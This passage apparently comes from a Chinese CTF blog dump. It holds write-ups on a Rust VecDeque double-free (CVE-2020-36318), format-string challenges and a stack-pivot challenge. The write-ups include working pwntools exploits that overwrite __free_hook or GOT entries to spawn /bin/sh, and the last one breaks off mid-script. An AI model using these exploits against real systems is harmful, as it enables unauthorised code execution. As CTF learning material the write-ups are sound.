read);serde::de::impls::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$::deserialize::h3d140fae89f3cb33_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_seq::hbd3934c1f9eb2161_$LT$serde..de..impls..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$..deserialize..VecVisitor$LT$T$GT$$u20$as$u20$serde..de..Visitor$GT$::visit_seq::h004d517e1abba1bdserde::de::SeqAccess::next_element::h66a6a37c3fe5b12c_$LT$serde_json..de..SeqAccess$LT$R$GT$$u20$as$u20$serde..de..SeqAccess$GT$::next_element_seed::hdf4677aba76d625b_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::ha3e4760fc98c681avdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d8_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Visitor$u20$as$u20$serde..de..Visitor$GT$::visit_enum::he6941ccdf9c46f1cserde::de::EnumAccess::variant::hc394608857e1e375_$LT$serde_json..de..UnitVariantAccess$LT$R$GT$$u20$as$u20$serde..de..EnumAccess$GT$::variant_seed::h3111f0a59a2c8909_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::hae2cb777484d7d0f_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Field$u20$as$u20$serde..de..Deserialize$GT$::deserialize::h771926e8bf89d42b_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_identifier::h043dc575c5a1b557_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_str::h8ad76558a0a689aa_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2\n\n最终能够在最后一个函数处找到解析关键字:\ncore::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *__cdecl _$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2(core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *retstr, vdq::_::_{impl}}::deserialize::__FieldVisitor self, _str __value){ _str v3; // rdx _str v4; // rdx _str v5; // rdx _str v6; // rdx _str v7; // rdx unsigned __int64 v8; // r8 unsigned __int64 v9; // rsi core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *v11; // [rsp+28h] [rbp-30h] v3.data_ptr = &unk_62AB2; // add v3.length = 3LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v3) ) { LOWORD(v11) = 0; } else { v4.data_ptr = &byte_62AB5; // remove v4.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v4) ) { LOWORD(v11) = 256; } else { v5.data_ptr = &unk_62ABB; // append v5.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v5) ) { LOWORD(v11) = 512; } else { v6.data_ptr = &unk_62AC1; // archive v6.length = 7LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v6) ) { LOWORD(v11) = 768; } else { v7.data_ptr = &unk_62AA4; // view v7.length = 4LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v7) ) { LOWORD(v11) = 1024; } else { serde::de::Error::unknown_variant::hc8291a7390e93cb5( retstr, __PAIR128__(&off_7BD80, v9), __PAIR128__(v8, (&stru_2._marker + 3))); LOBYTE(v11) = 1; } } } } } return v11;}\n\n不过需要注意,rust编译后的字符串相互连接,通过长度来确定具体的字符串内容;而IDA的分析会将整个字符串一并解析,以至于难以准确理解代码,具体表现如下:\nv3.data_ptr = &unk_62AB2; // addv3.length = 3LL;v4.data_ptr = &byte_62AB5; // removev4.length = 6LL;\n\n字符串在IDA中的样式:\nunsigned char ida_chars[] ={0x41, 0x64, 0x64, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x41,0x70, 0x70, 0x65, 0x6E, 0x64};//AddRemoveAppend\n\n根据上述函数能够分析出具体有哪些操作:\nAdd、Remove、Append、Archive、View\n\n并且继续向上跟踪,可以知道其输入格式是:(事实上如果熟悉反序列化就不用苦恼了,不过笔者也试着搜索过,搜出格式以后直接套也行,不过难道有这种机会,还是试着逆了一下)\n["Add","Add","Remove"]$\n\n在知道具体的输入以后,就可以尝试fuzz来进行输入测试了。\n但笔者不得不在这里提一句,如果您熟悉rust中的enum或实际拥有编译条件的话,在如下函数就能直接找到答案,不需要一步步深入:\n // local variable allocation has failed, the output may be wrong!core::result::Result<vdq::Operation,serde_json::error::Error> *__cdecl vdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5(core::result::Result<vdq::Operation,serde_json::error::Error> *retstr, serde_json::de::Deserializer<serde_json::read::StrRead> *__deserializer){ __int64 v2; // r9 OVERLAPPED _str v3; // rdx core::marker::PhantomData<&u8> *v4; // r8 vdq::_::_{impl}}::deserialize::__Visitor v6; // [rsp+0h] [rbp-38h] v3.length = &off_7BD80; v4 = &stru_2._marker + 3; v3.data_ptr = (&stru_2 + 7); return _$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d85(retstr,&unk_62AA9,v3,*(&v2 - 1),v6);}\n\n阅读函数命deserialize_enum大概能够知道这是rust编译后的enum表示函数,unk_62AA9是其中的数据:\n0000000000062AA9 aOperationaddre db 'OperationAddRemoveAppendArchive'\n\n结合 handle_opr_lst 可知对应的代码应该是:\nenum vdq::Operation : __int8{ Add = 0x0, Remove = 0x1, Append = 0x2, Archive = 0x3, View = 0x4};\n\n模糊测试这里参考一下cj神的方法:\n # fuzz.sh#!/bin/bashwhile ((1))do python ./vdq_input_gen.py > poc cat poc ./vdq if [ $? -ne 0 ]; then break fidone\n\n# vdq_input_gen.py#!/usr/bin/env python# coding=utf-8import randomimport stringoperations = "["def Add(): global operations operations += "\\"Add\\", "def Remove(): global operations operations += "\\"Remove\\", "def Append(): global operations operations += "\\"Append\\", "def View(): global operations operations += "\\"View\\", "def Archive(): global operations operations += "\\"Archive\\", "def DoOperations(): print(operations[:-2] + "]") print("$")def DoAdd(message): print(message)def DoAppend(message): print(message)total_ops = random.randint(1, 20)total_adds = 0total_append = 0total_remove = 0total_message = 0for i in range(total_ops): op = random.randint(0, 4) if op == 0: total_message += 1 total_adds += 1 Add() elif op == 1: total_adds -= 1 Remove() elif op == 2: if total_adds > 0: total_append += 1 total_message += 1 Append() Append() elif op == 3: total_adds = 0 total_append = 0 total_remove = 0 Archive() elif op == 4: View()DoOperations()for i in range(total_message): DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))\n\n不过笔者修改了total_ops的数量,让最后的poc尽可能短一些,否则可能对分析造成额外的负担:\n["Remove", "Add", "View", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "View", "View", "Remove", "Remove", "Add", "Add"]$L3K9MFZ5HosACETa0hO4Hx1Zzwt8Q7vs3fFSIylFsXgqDKMRLUePjZ6C2YfB3TcxiI5unmvbKotjPBxTmkSyg0rUJ1lheZNVaumP7E8dYDrxFnu2hjWeAHVMcqaCkTgI4NKC9BaM42AY8Z0UIdwmNHLDeJWit5\n\n可以根据poc的逻辑适当缩减操作:\n ["Add", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "Remove", "Remove","Add"]$Add note [1] with message : 1Add note [2] with message : 2Add note [3] with message : 3Archive note [1]Add note [4] with message : 4Removed note [2]Append with message : 5Add note [5] with message : 5Cached notes: -> 35 -> 4 -> 5Removed note [3]Removed note [4]Add note [6] with message : 6free(): double free detected in tcache 2\n\n功能分析根据上述的poc和情况可以分析出每条指令的用处。##### Add添加一条信息,但该信息总是加入队尾,即便前面的位置空出来也是如此。##### Remove删除一条信息,但该信息总是从队头删除。##### Append向当前队头的信息中添加额外的信息进行拼接(如上述情况,队头信息由 “3” 转至 “35”)。##### View打印当前所有的信息。##### Archive从队首获取一个信息,情况于Remove相似,但它并不会将用以储存消息的容器也释放掉,相当于只增加一次 tail。\n进一步缩减poc,像Append就明显不太有用,但笔者尝试删除用以显示数据的View时却发现程序正常执行了,这说明View操作是必要的;以及,当笔者试图减少相同数量的Add和Remove时也发现不能等价,因此笔者根据测试得到的最短poc如下:\n["Add", "Add", "Add", "Remove", "Add", "Remove","Add", "View","Remove","Add"]$Add note [1] with message : 1Add note [2] with message : 2Add note [3] with message : 3Removed note [1]Add note [4] with message : 4Removed note [2]Add note [5] with message : 5Cached notes: -> 3 -> 4 -> 5Removed note [3]Add note [6] with message : 6free(): double free detected in tcache 2\n\n但奇怪的是,本该无关紧要的 View 操作却是必要的,如果删去该操作,程序又会继续执行下去,因此再看看源代码中 View 部分的实现:\ncase 4u: // View core::fmt::Arguments::new_v1::h44adc30b070cf8c4(&v45, __PAIR128__(1LL, &stru_7BBC0), unk_62828); std::io::stdio::_print::h0d31d4b9faa6e1ec(); alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(&v12, &stru_7BBC0); v1 = &v12; alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v46, &v12); core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, &v46);\n\nmake_contiguous 显得十分可疑,于是去查了一下官方文档:doc.rust-lang.org\n\nRearranges the internal storage of this deque so it is one contiguous slice, which is then returned.\n\n大致意思就是将容器中的数据重新紧凑排列到内存中。\n调试分析首先需要先清楚整个容器的储存方式。因为符号表没抹掉,所以能直接拿到:\n//容器本身alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>{ __int32 tail; __int32 head; alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;}\n\n//容器成员vdq::Note{ core::option::Option<usize> idx; alloc::vec::Vec<u8> msg;}\n\n首先如果使用如下payload测试其内存模型:\n["Add", "Add", "Add", "Add"]\n\n当添加第 [4] 个 message 的时候,会用其他函数拓展容器的缓冲区,内存变化如下:\n#Add note [3] with message : pwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000030x7fffffffd940: 0x00005555555d7e40 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e400x5555555d7e40: 0x00005555555d7e90 0x00005555555d7ee00x5555555d7e50: 0x00005555555d7f30 0x0000000000000000#Add note [4] with message : #注意到 VecDeque::buf 的地址已经变化pwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000040x7fffffffd940: 0x00005555555d7fb0 0x0000000000000008pwndbg> x /10gx 0x00005555555d7fb00x5555555d7fb0: 0x00005555555d7e90 0x00005555555d7ee00x5555555d7fc0: 0x00005555555d7f30 0x00005555555d7f800x5555555d7fd0: 0x0000000000000000 0x00000000000000000x5555555d7fe0: 0x0000000000000000 0x0000000000000000\n\n现在大致就能够明白整个Deque的内存模型了:\n\n初始化阶段会开辟大小为 4 的buf,当其装满时则将大小翻倍\n队首是指向高位的 index ,队尾则指向低位的 index\n当index到达最大值时会进行回绕;但如果回绕的head再一次越过tail,就表明容器装满了,会再次拓展\n入队和出队都只是将 head 或 tail 进行加减运算罢了,并不会立即释放\n\n接下来实际调试一下上述poc,当View触发之后,容器的内存如下:\n#VecDequepwndbg> x /10gx 0x7fffffffd9400x7fffffffd940: 0x0000000000000001 0x00000000000000040x7fffffffd950: 0x00005555555d7e80 0x00000000000000040x7fffffffd960: 0x00005555555d7fa0 0x0000000000000004#VecDeque::bufpwndbg> x /10gx 0x00005555555d7e800x5555555d7e80: 0x00005555555d7f20 0x00005555555d7ff00x5555555d7e90: 0x00005555555d7f20 0x00005555555d7f200x5555555d7ea0: 0x00005555555d7f70 0x0000000000000021\n\ntail=1;head=4;其中buf[2] == buf[3];那么在释放该容器时,就会因为两者buf[2]和buf[3]都被认为是合法的容器而导致错误。事实也确实如此,如果我们在最后添加一个 View ,那么就会打印出两次相同内容:\nCached notes:-> 4-> 5-> 5\n\n既然已经明白了触发double free的原因,接下来适当构造 payload 来进行任意地址写就算成功了。\n但还有一个疑点:\n\nmake_contiguous 到底做了什么? 或许直接看源代码就能解决问题,但并不是每次都有代码可查。至少笔者本次甚至没意识到程序是由 rust 所写,以及即便知道,也很难得知版本对应的漏洞和commit。因此本次还是直接通过调试来确定其逻辑。(这种方法是有条件的,因为本题的漏洞属于逻辑漏洞,因此我们只需要通过调试理解其执行逻辑即可;但有些漏洞则是细节上的设计问题,对于这类问题,调试就不那么有效了)\n\n注:\n\n其实还是有办法找到的,关键字:[rust,cve,make_contiguous]\n直接搜索就能找到 CVE-2020-36318 ,并能在commit中找到具体的最小poc\n\n笔者根据上述内容适当改了改payload,然后将断点打在 make_contiguous 处:\n["Add", "Add", "Add","Remove", "Remove", "Add", "View"]\n\n此时的容器内存布局:\n#beforepwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000002 0x00000000000000000x7fffffffd940: 0x00005555555d7e60 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e600x5555555d7e60: 0x00005555555d7eb0 0x00005555555d7f000x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00#afterpwndbg> x /10gx 0x7fffffffd9300x7fffffffd930: 0x0000000000000000 0x00000000000000020x7fffffffd940: 0x00005555555d7e60 0x0000000000000004pwndbg> x /10gx 0x00005555555d7e600x5555555d7e60: 0x00005555555d7f50 0x00005555555d7f000x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00\n\n在发生地址回绕之后,调用 make_contiguous 会将实际在用的数据向前重新对齐。本例中就将 buf[2] 与 buf[3] 重新拷贝到了 buf[0] 和 buf[1] 的位置,同时修改 head 和 tail 的值使其正确。但需要注意,本例有些不明确。笔者在后续调试中验证了得到了如下结论:\n\n如果 tail < head,则无事发生\n如果 tail > head,就将 tail 到 head 之间的切片拼接到当前 head 位置\n\n综上,我们最终能够明白poc之所以会导致崩溃的原因是:\n\n首先是 head 第一次回绕,同时在第一个单元留下合法数据\n而第一次 make_contiguous ,因为此时 head=1,导致其整合时越过了第一个单元,使得 head 超出 Size 却没有回绕\n此时再次 Add 使其回绕,但由于其回绕是通过取余的方式,因此使得再次 head=1\n但由于容器本身的 Size 并未变化,因此 buf[0] 的数据仍然起效,每次 make_contiguous 都会正常拷贝其地址,以至于此时 tail 与 tail 间多出了几个相同的地址,因此释放时触发了 double free\n\n事后查阅了源代码也可以看见,原函数此处是直接返回一个切片,但由于并未考虑到索引回绕的问题,因此才会导致上述错误。\n- return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };//此处直接返回了切片+ return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };\n\nAttack Test因为 make_contiguous 会将 tail 到 head 间的元素拷贝到 head 处,同时将 head 增加对应数量,但其增值并不会回绕,而会越过 Size,只要保证此时 head 不去变动,那么之后执行 Remove 也不会导致 tail 越过 head,再尝试 View 时则会因为 UAF 泄露地址。\npayload 1:\n["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View","Remove", "Remove", "Remove", "View"]\n\n在最开始的 Add 中混入一个极大的内容,使得其被释放以后会被装入 Unsorted Bin ,然后在第一次 View 时使 head 越界,然后通过 Remove 使得 tail 回绕,那么再用 View 就会泄露 libc_Base 了。\n接下来需要构造 UAF ,通过 Append 写 free_hook:\n "Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View","Remove","Remove","Remove","Remove","Archive","Remove", "View"\n\n最精巧的是,上述payload会让容器内存状态如下,payload 2:\n #before View pwndbg> x/10gx 0x7ffdf0176b800x7ffdf0176b80: 0x0000000000000004 0x00000000000000020x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008pwndbg> x/10gx 0x000055a6952062e00x55a6952062e0: 0x000055a695206770 0x000055a6952067c00x55a6952062f0: 0x000055a6952062b0 0x000055a6952062b00x55a695206300: 0x000055a6952061e0 0x000055a6952062100x55a695206310: 0x000055a695206260 0x000055a695205e60#afterpwndbg> x/10gx 0x7ffdf0176b800x7ffdf0176b80: 0x0000000000000002 0x00000000000000080x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008pwndbg> x/10gx 0x000055a6952062e00x55a6952062e0: 0x000055a695206770 0x000055a6952067c00x55a6952062f0: 0x000055a6952061e0 0x000055a6952062100x55a695206300: 0x000055a695206260 0x000055a695205e600x55a695206310: 0x000055a695206770 0x000055a6952067c0\n\n最终在通过 make_contiguous 的整合以及 Remove 的回绕,将0x000055a6952067c0释放,并能够在之后通过 Append 写此处地址。\npayload 3:\n"Append","Archive","Append","Add"\n\n这里有一个一直没有注意到的可以利用的点,Append 操作中会调用 get_raw_line ,该函数会申请一块内存用以存放我们的输入。此时的 Bin 状态如下:\n0x30 [ 5]: 0x55a6952067c0 —▸ 0x55a695206260 —▸ 0x55a695206210 —▸ 0x55a6952061e0 —▸ 0x55a6952062b0 ◂— 0x0\n\n它会申请 0x55a6952067c0 处内存并向内储存数据。现在您可以已经发现了,在我们控制 0x55a6952067c0 的内存指向之后,再对其调用 Append 就能够任意地址写了。\n闲言:\n\n事实上,笔者在发现漏洞上并没有太多疑问,但却在漏洞利用上花了非常多时间。笔者最开始不打算参照 wp 中的 payload 去做,本想着能不能靠自己独立写出,但经过了非常长时间的搏斗,不得不说出题人对本题的理解真的好深,最后一次 make_contiguous 时需要的状态笔者在尝试自行构造时花了非常多时间也只能构造出差不多的样子,但完全不如出题人所用的那样优雅\n不过也可能只是我对 rust 不太熟悉的缘故吧,还是太菜了\n\nmy exp:\nfrom pwn import *context.log_level = "debug"p=process("./vdq")pay = '''[ "Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View", "Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View", "Remove","Remove","Remove","Remove","Archive","Remove", "View", "Append","Archive","Append","Add"]$'''p.sendlineafter('!\\n',pay)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','1'*0x410)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','a'*0x80)p.recvuntil('Cached notes:')p.recvuntil('Cached notes:')p.recvuntil(' -> ')p.recvuntil(' -> ')leak_arena=0for i in range(8): leak_byte=int(p.recv(2),0x10) leak_arena+=leak_byte<<(i*8)print(hex(leak_arena))base=leak_arena-(0x7f57fd2b3ca0-0x7f57fcec8000)p.success('base:'+hex(base))__free_hook=base+0x7ff2888cb8e8-0x7ff2884de000p.success('__free_hook:'+hex(__free_hook))system=base+0x7ffff7617420-0x7ffff75c8000p.success('system:'+hex(system))for i in range(10): p.sendlineafter(': \\n','')p.sendlineafter(': \\n',flat([0,0,__free_hook-0xa,0x3030303030303030]))p.sendlineafter(': \\n',p64(system))p.sendlineafter(': \\n','/bin/sh\\0')p.interactive()\n\nMISCPlain TextdOBRO&nbsp;POVALOWATX&nbsp;NA&nbsp;MAT^,&nbsp;WY&nbsp;DOLVNY&nbsp;PEREWESTI&nbsp;\\TO&nbsp;NA&nbsp;ANGLIJSKIJ&nbsp;QZYK.&nbsp;tWOJ&nbsp;SEKRET&nbsp;SOSTOIT&nbsp;IZ&nbsp;DWUH&nbsp;SLOW.&nbsp;wSE&nbsp;BUKWY&nbsp;STRO^NYE.&nbsp;qBLO^NYJ&nbsp;ARBUZ.&nbsp;vELAEM&nbsp;WAM&nbsp;OTLI^NOGO&nbsp;DNQ.\n\n好像是读音,找个键盘表翻译一下就能拿到原文:\nдОБРО&nbsp;ПОВАЛОШАТХ&nbsp;НА&nbsp;МАТ^,ШЫ&nbsp;ДОЛВНЫ&nbsp;ПЕРЕШЕСТИ&nbsp;эТО&nbsp;НА&nbsp;АНГЛИЙСКИЙ&nbsp;ЯЗЫК.&nbsp;тШОЙ&nbsp;СЕКРЕТ&nbsp;СОСТОИТ&nbsp;ИЗ&nbsp;ДШУЧ&nbsp;СЛОШ.шСЕ&nbsp;БУКШЫ&nbsp;СТРО^НЫЕ.яБЛО^НЫЙ&nbsp;АРБУЗ.&nbsp;вЕЛАЕМ&nbsp;ШАМ&nbsp;ОТЛИ^НОГО&nbsp;ДНЯ.\n\n翻译成英文即可找到flag:\nWELCOME TO MATH^, WE SHOULD TRANSITION THIS TO ENGLISH. YOUR SECRET CONSISTS OF SLOW SHORT.APPLE ^ WATERMELON.WE HAVE A GREAT DAY.\n\n\n插画ID:96449673\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"plaidctf2015 - ebp —— FMT记录","url":"/2021/09/14/plaidctf2015-ebp/","content":"        本来是在看OFF-BY-ONE的,WIKI里将这个比赛的某题作为范例,但BUU只有“ebp”这题,于是顺手做了一下。然后才发现自己似乎一直以来有些太过依赖fmtstr_payload这种操作了,真到了需要自己一步步手动调试和操作的时候才发现,自己根本就不会构造payload……\n    具体的笔记等以后详细的学完了fmt再补吧,现在先记录一下这件事,并且补一个记录\n\n“%?$p”\n这个格式化字符串打印相对format参数正向偏移任意栈地址中的内容,其中的p可以用d,x等替代\n“%(number)c%?$hn”\n这个格式化字符串可以实现向第?个参数存的地址的低字节中写数据,数据值为number的值(%hn,将指针视为 short 型指针,更为常用,因为要写入多大的数字,就需要打印多少个字符,如果直接用 int 操作,数字较大时打印会很慢,所以经常用%hn分两步进行)。 \n注意这里的%(number)c%?n(或%?hn)是把从格式化字符串所在栈地址开始,正向偏移的第?个栈地址中存放的值取出,作为一个地址(addr),并往这个addr中写入number这个数值\n\n摘自:https://blog.csdn.net/qq_29947311/article/details/70176304\n可供参考列表:\nhttp://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/\nhttps://www.cnblogs.com/wangaohui/p/4455048.html\nhttp://shell-storm.org/shellcode/files/shellcode-236.php\nhttps://www.zybuluo.com/pnck/note/91523\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"第五空间2019 决赛 - PWN5笔记与借鉴","url":"/2021/07/23/pwn0/","content":"逻辑是简单的:\n系统生成一个随机数,并让用户分别输入用户名与密码,当密码与随机数相同时成功。\n大佬给出的思路:\n思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell\n思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell\n思路3:bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值\n#exp1from pwn import *p = process('./pwn5')addr = 0x0804C044#地址,也就相当于可打印字符串,共16bytepayload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中payload += "%10$hhn%11$hhn%12$hhn%13$hhn"p.sendline(payload)p.sendline(str(0x10101010))p.interactive()\n\nfrom pwn import *p = process('./pwn5')elf = ELF('./pwn5')atoi_got = elf.got['atoi']system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)p.sendline('/bin/sh\\x00')p.interactive()\n\nfrom pwn import *#context.log_level = "debug"p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044payload=fmtstr_payload(10,{unk_804C044:0x1111})p.sendlineafter("your name:",payload)p.sendlineafter("your passwd",str(0x1111))p.interactive()\n\n主要是想要记录一下 fmtstr_payload 函数这个神奇的操作\n可以参考:Pwntools—fmtstr_payload()介绍\n该函数根据设定生成一个用于改写指定地址数据的payload(注:节区需要拥有写权限)\n第二第三个思路的exp都运用了这种方法\n第一个参数的来源:输入AAAA%10$p将会得到0x41414141,这里的10即是第一个参数,即从该偏移开始填充输入值\n第二个参数则是原值与替换值的字典形式\n还有第三第四参数,但并不常用,暂时不记录\n插画ID:90640803\n","categories":["CTF题记","Note"]},{"title":"GKCTF 2021 - checkin调试与分析","url":"/2021/07/23/pwn1/","content":"​\n        目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧\n主要函数:\nint sub_4018C7(){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Please Sign-in"); putchar(62); read(0, s1, 0x20uLL); puts("Please input u Pass"); putchar(62); read(0, buf, 0x28uLL); if ( strncmp(s1, "admin", 5uLL) sub_401974(buf) ) { puts("Oh no"); exit(0); } puts("Sign-in Success"); return puts("BaileGeBai");}\n\n        sub_401974实为一个md5加密与对比函数,它会将buf进行md5后与固定值对比\n__int64 __fastcall sub_401974(const char *a1){ unsigned int v1; // eax char v3[96]; // [rsp+10h] [rbp-90h] BYREF __int64 v4[2]; // [rsp+70h] [rbp-30h] char v5[28]; // [rsp+80h] [rbp-20h] BYREF int i; // [rsp+9Ch] [rbp-4h] v4[0] = 0xA7A5577A292F2321LL; v4[1] = 0xC31F804A0E4A8943LL; sub_4007F6(v3); v1 = strlen(a1); sub_400842(v3, a1, v1); sub_400990(v3, v5); for ( i = 0; i <= 15; ++i ) { if ( *(v4 + i) != v5[i] ) return 1LL; } return 0LL;}\n\n        从对比方法开始说起吧,v4数组即为固定的md5值,比对方法为逐比特位对比\nint main(){INT64 v4[2];v4[0] = 0xA7A5577A292F2321;v4[1] = 0xC31F804A0E4A8943;BYTE k[16];for (int i = 0; i < 16; i++){k[i] = *((BYTE*)v4 + i);printf("%x", k[i]);}}//21232f297a57a5a743894ae4a801fc3\n\n         通过对比可以发现,这个得到的结果就是v4[0]与v4[1]按照比特位分别逆序后的拼接,底层的储存方式按照小端序而被IDA识别为代码中的整数\n        以及,我们可以通过一些查询得到该md5为‘admin’的md5值\n        那么只要我们输入两次admin,就能够顺利运行到loc_40195D处,便能够利用栈溢出了\n.text:000000000040195D loc_40195D: ; CODE XREF: sub_4018C7+80↑j.text:000000000040195D mov edi, offset aSignInSuccess ; "Sign-in Success".text:0000000000401962 call _puts.text:0000000000401967 mov edi, offset aBailegebai ; "BaileGeBai".text:000000000040196C call _puts.text:0000000000401971 nop.text:0000000000401972 leave.text:0000000000401973 retn\n\n        但这样还不够,程序调用的是read函数,有规定的读取上限\n        特殊的,第二个read函数的读取上限高于buf的界定值,产生溢出,正好覆盖RBP处的值\n        以及上一层在0x4018BF处调用该函数\n.text:00000000004018BF call sub_4018C7.text:00000000004018C4 nop.text:00000000004018C5 leave.text:00000000004018C6 retn\n\n        当主要函数retn后,立刻进入第二次retn,存在栈迁移的可能\n        那么可以照如下方式构造payload\npop_rdi=0x401ab3puts=0x4018B5puts_got=0x602028name_addr=0x602400payload1="admin".ljust(8,'\\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)payload2="admin".ljust(8,'\\x00')+'a'*24+p64(name_addr)\n\n        name_addr将会在执行\nread(0, buf, 0x28uLL);\n\n        时将RBP覆盖,然后存在两层leave指令\n        当到达第二次leave指令,就相当于如下指令执行\nmov esp,ebp;esp=0x602400,ebp=0x602400pop ebp ;esp=0x602408,ebp=0x602400\n\n        此时再执行retn指令,就会返回到 pop_rdi 处,并按照payload1的顺序执行下去造成库地址泄露(注意,我使用的puts地址将会让我返回到 puts=0x4018b5+8 处,籍此再次进入主要函数)\n        但第二次进入主要函数时候则不再像第一次那样容易了,因为这次的RBP与s1数组的位置很近,输入值将会造成覆盖(buf是从rbp-20h处开始的,而当我们再次到达第二个read的时候,rbp将会是0x602410,那么我们的输入值就会覆盖掉s1,导致常规的逐步构造无法成功)\nchar buf[32]; // [rsp+0h] [rbp-20h] BYREF\n\n        但也有不需要那么多参数的方法来得到shell,这里可以用onegadget实现\na@ubuntu:~/Desktop/timu$ one_gadget ./libc.so.60x45226execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL0x4527aexecve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xf03a4execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf1247execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL\n\n        也就是说,只要我们得到了库的基地址,就可以用一行跳转直接得到shell,如果只有一行的话,就不用担心覆盖问题了,因此exp可以这样写\nfrom pwn import 